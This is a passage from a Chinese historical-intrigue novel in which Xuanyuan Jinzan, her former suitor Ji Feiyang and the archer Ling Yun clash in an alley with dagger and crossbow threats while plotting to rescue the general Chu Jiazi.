“亏你还是季氏,承袭自轩辕伯姬时代的季氏。呵,轩辕家对不起你季氏在先,我轩辕金簪无话可说。”道不同不相为谋。她转身就走,被身后的人狠狠地揽进怀。 皂角的清新味道伴随一股糕点的香甜,随鼻息热气喷洒的酒气以及一缕不怎么好闻的馊味,缠绕在两人的四周。 金簪低低地笑,抬手放在箍上腰腹的有力手臂:“季飞扬,你已经明白。既不回头,何必不忘。” “我没得到你,而你还没履约。”季飞扬亲吻在她的头发,低笑道,“簪儿,你该洗头了。” 金簪平静地反击道:“你该洗胃了。” “呵呵呵……哈哈哈……”季飞扬一把将金簪压在墙面,俯视她仰面望来的面容。他的手滑在金簪的眉梢,比起曾经的凌厉,现在的她多一份婉约,更有“女子”的味道。 “簪儿,与我去月罗府,享受你曾经的生活,不是随一帮海边渔民东奔西走。他们帮不了你。” 金簪的眸里流过萤光,手沿他的胸膛游上他的颈项,交叠环住他的脖子。这是一个邀请的姿势,只差垫脚,只差他俯身。 季飞扬的眸里闪过惊诧,随之而来得是惊喜。他猛地俯头亲吻那片朝思暮想的嫣红,却在紧要关头停住,冷静地嘶哑道:“簪儿,你觉得我会停?” “曾经的你不会,现在的你……会。”因为你已经停下。 金簪交叠的双手上是一把镶嵌宝石的锋利匕首。 它曾经的主人是伊兰天雪。昨日与张停云再见时所得。 此刻,锋尖悬在季飞扬的后颈上方,寒气从尖刃处流进身经百战的季飞扬的脖子,令警觉的他泛起一片疙瘩。 这是一个赌局。 季飞扬若是退,就不再是曾经得那个少年。那个可以为金簪不顾一切奔赴金宫的男子。但是,他若不退,此情为锁,锁住得是他正当壮年的雄心壮志,以及来日君临天下的野心。 这个女人,轩辕金簪。 她用美色和尖刀,残忍地迫使人审视内心深处的情感,令彼此都清醒地认清现实。 骗她。骗她就可以得到她。 骗她……结局是汤池里的愤怒之言:这辈子都不会让你得到你所想要。除非,能骗她一世。 “天下有哪个男人驾驭得了你,轩辕金簪。”季飞扬死死地盯在她如沉渊的双眸,心在摇摆、气息在鼓荡,残忍地清醒让他松懈压住她的力道。 论武力,季飞扬自认碾压金簪;但是,论智力,季飞扬没有这个信心能骗过这个女人。两人相斗的最后结局,必然是他不忍,而她决绝,终有一人殇。 若舍得她死,就不会每年偷入金宫,喂她服下延生机的雪蝉粉。 匕首随之挪开。 金簪轻巧地拨弄下鬓角的散发,低声道:“轩辕日照想要收服楚甲子,若他成功,必为你劲敌。我将他救……” “呵,若是我救了他呢,他不感激涕零为我所用?”季飞扬退了一步,保持那三尺距离。 金簪浅吸口没有酒味的空气,淡定道:“若他能被你收服,早就不在轩辕日照的手中。听说你月罗府消息灵通,你是打着螳螂捕蝉黄雀在后的用意吧。他可以为你所救,但不会为你所用。” “你这般自信?凭什么,凭他可以光明正大自由出入你的寝宫,你和他……” “啪……” 金簪毫不客气得一巴掌甩他脸上,面对他阴沉的脸色,勾唇冷笑道:“不要侮辱楚氏。时至今日,楚氏门风比你季氏高不知多少……啊……” 季飞扬一把将金簪推撞至墙,怒气冲冲道:“你这个女人,应该躺在床上才可爱。我季氏有今日处境,满门剩我一人,难道不是你们轩辕氏轩辕夏造成吗?” “放开我。”金簪手上的匕首斜刺,被季飞扬一把捏住手腕,一个劲力下去,匕首砸在地面。 季飞扬微挪目光,瞧清楚地上的匕首,冷嗤道:“你还会用美色引诱伊兰天雪,趁机杀他。好你个轩辕金簪,你早就……不是我认识得那个聪慧纯洁的太女。我……” “叮”得一声,短弩的箭镞擦过季飞扬的头顶,射入墙体。 “若你再不放开她,我不介意射穿你的后颈。”凌云立在墙垣,沉声道。 季成猛得从另一端出现,用短弩对准凌云。 “大老爷们,听壁角多不害臊,别乱动哦。” 季飞扬松开金簪,拔下墙上的短弩,定睛一看,认出熟悉的锻器手法。 他侧身对上凌云的双眸,络腮胡子遮挡此人大半张脸,便是曾经熟悉的眼神都已改变,但是,手中箭镞的制器手法不会变。 “你是……” 短弩对准季飞扬的口,令他一声不能出。威胁之意,不言自明。 是啊,飞扬哥哥有什么脸面见小阿云。凌飞祖父是被季氏害死。 金簪趁机离得季飞扬颇远,沉声道:“我听楚甲子说过,你和他拜过兄弟。若你还有那么点顾旧之情,就帮我将人救出。” 语罢,她向凌云颔首,转身而去。 凌云踩高墙而走,被季飞扬喊住。 “等等,你是小阿云。我找了你……” 凌云的脚步微顿,侧身撇眸:“你有什么资格喊这三字?” 随后,他跃入墙下。 季成收起筒弩,走至季飞扬的身旁,诧异道:“少主,这人真是凌云少爷?天啊,他怎么变成这样?” 季飞扬将手里的箭镞递给他,语气复杂道:“这样的箭镞是锻造风弩的手法。普天之下,若还有人能制出风弩,只有杜氏手艺。凌云是杜氏传人。” “糟糕。凌云少爷同女帝在一起,不成我们日后一大劲敌吗?” 季成哎了声,“少主,你得想清楚啊。不如,我们抢轩辕金骧这位皇子,学轩辕日照的做法,比那不受控的……” 季飞扬厉眼瞪他,镇住了季成的口。 他盯向无人的巷道,垂眸道:“晚间,你们助他们成事,将楚甲子救出海棠宫。” “这……” 季成泄气,郁闷道,“少主一直不救楚将军,就是想他吃够苦头时再施以援手。如今,这事都要见明,却被这两人搅黄。少主,你这不是替他人做嫁衣,赔夫人又折友。” 季飞扬不想再听季成吧唧,转身离开巷道。 他现在是偷溜出来,得回去装醉。不能让镇守胜城的田宁将军察觉,更不能让司徒张仲难做。 除去田宁,才能拔掉轩辕日照的左膀,才能真正拿下胜争周边的三府,成为西南最大的势力。 【是啊,轩辕金簪,你赢了。我不再是那个可以为见你而忘乎所以的季飞扬,我的身后有一大帮人等待成为忠臣良将、青史留名的豪杰。来日,我必将马踏楚氏军营,夺你入宅。 那时,你会是我的俘虏。 我将扯下你骄傲的外衣、吮尽你高贵的血,与你融为一体,让你的眼里只能看得到我。】